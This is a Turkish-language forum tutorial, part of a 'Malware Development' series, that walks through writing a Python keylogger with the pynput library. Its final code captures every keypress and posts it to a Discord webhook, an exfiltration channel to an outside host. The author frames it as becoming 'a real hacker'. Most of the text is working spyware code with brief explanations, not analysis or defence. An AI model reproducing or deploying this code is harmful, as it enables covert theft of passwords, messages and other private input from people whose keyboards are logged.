Herkese selamlar! Ben Supp, bugün sizlerle "Malware Development" serisinin 2. konusu olan Keylogger ile karşınızdayım.
Konular:
1- Stealer
Hazırsanız kodlayalım
kısaca şuna değinmek istiyorum bir kütüphaneyi eklerken birden fazla şekilde ekleyebiliryoruz nasıl mı?
Buradaki import "pynput" kısmı direkt "pynput" isimli kütüphaneyi ekliyor
Python:
import pynput
Burada "pynput"isimli Kütüphaneden "keyboard" fonksiyonunu ekliyor bunu göstereceğim
Python:
from pynput import keyboard
import "pynput.keyboard" bu da üstteki yazdığım ile aynı işlevi görüyor
"pynput" kütüphanesinden "keyboard" fonksiyonunu çekiyor, syntax farklılıkları
Python:
import pynput.keyboard
Şimdi üstte dediğim gibi kendi modüllerimizi yazarak bunu öğrenelim
İlk olarak istediğiniz isimde bir python dosyası oluşturun örnek: | (modüllerim.py)
Gördüğünüz gibi, üst tarafta 'topla' diye bir fonksiyon oluşturmuştuk, bunu ekledik ve 'topla' fonksiyonunu çağırdık.
Ever Artık Gerçek hacker olma zamanı geldi!
Kodumuzun Temelleri:
Python:
import pynput.keyboard
def dinle_yazdır(key):
print(key)
tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)
tuşları_dinle.start()
tuşları_dinle.join()
"log_yazdir" adında bir fonksiyon oluşturur . Bu fonksiyon, klavyeden bir tuşa basıldığında veya bırakıldığında çağrılır ve basılan tuşun değerini ekrana yazdırır.
Python:
def log_yazdır(key):
print(key)
"pynput.keyboard.Listener" Bunu en sade şekilde şöyle açıklayabilirim "pynput" isimli arkadaşın "keyboard.Listener" adında bir özelliği var buda herhangi bir tuşa bastığımızda bunu anlayabiliyor
(kodu tuşları_dinle ye atadık artık tuşları dinle yi çağırınca
pynput.keyboard.Listener(on_press=dinle_yazdır tam olarak bu kod çalışmakta)
)
Python:
tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)
Gelelim son kısma
Python:
on_press=dinle_yazdır
Son Hali:
Python:
import pynput.keyboard
def dinle_yazdır(key):
print(key)
tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)
# Bunlarda KLavyeyi Dinlemeye yarıyor
tuşları_dinle.start() # Bu Dinleme İşlemini Başlatıyor
tuşları_dinle.join() # Buda gelen giden bilgileri dinliyor yani a ya basınca a diyor
Benden buraya kadar diyenler için, threading kullanmadığımız için veriler anından gelmez; ancak, webhook adresinizde veriler gelir.
Python:
import pynput.keyboard
import requests
webhook = ''
def dinle_yazdir(key):
try:
# Tuş bilgilerini al
key_char = key.char
# Discord Webhooka gönderilecek mesaj oluştur
message = f'Key pressed: {key_char}'
# Discord Webhook'u çağır
requests.post(webhook, data={'content': key})
except AttributeError:
# Karakter olmayan tuşlar için
pass
tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdir)
try:
# Tuş dinleme işlemini başlat
tuşları_dinle.start()
tuşları_dinle.join()
except KeyboardInterrupt:
# Kullanıcı klavye dinleme işlemini sonlandırdı
tuşları_dinle.stop()
tuşları_dinle.join()
Son düzenleme: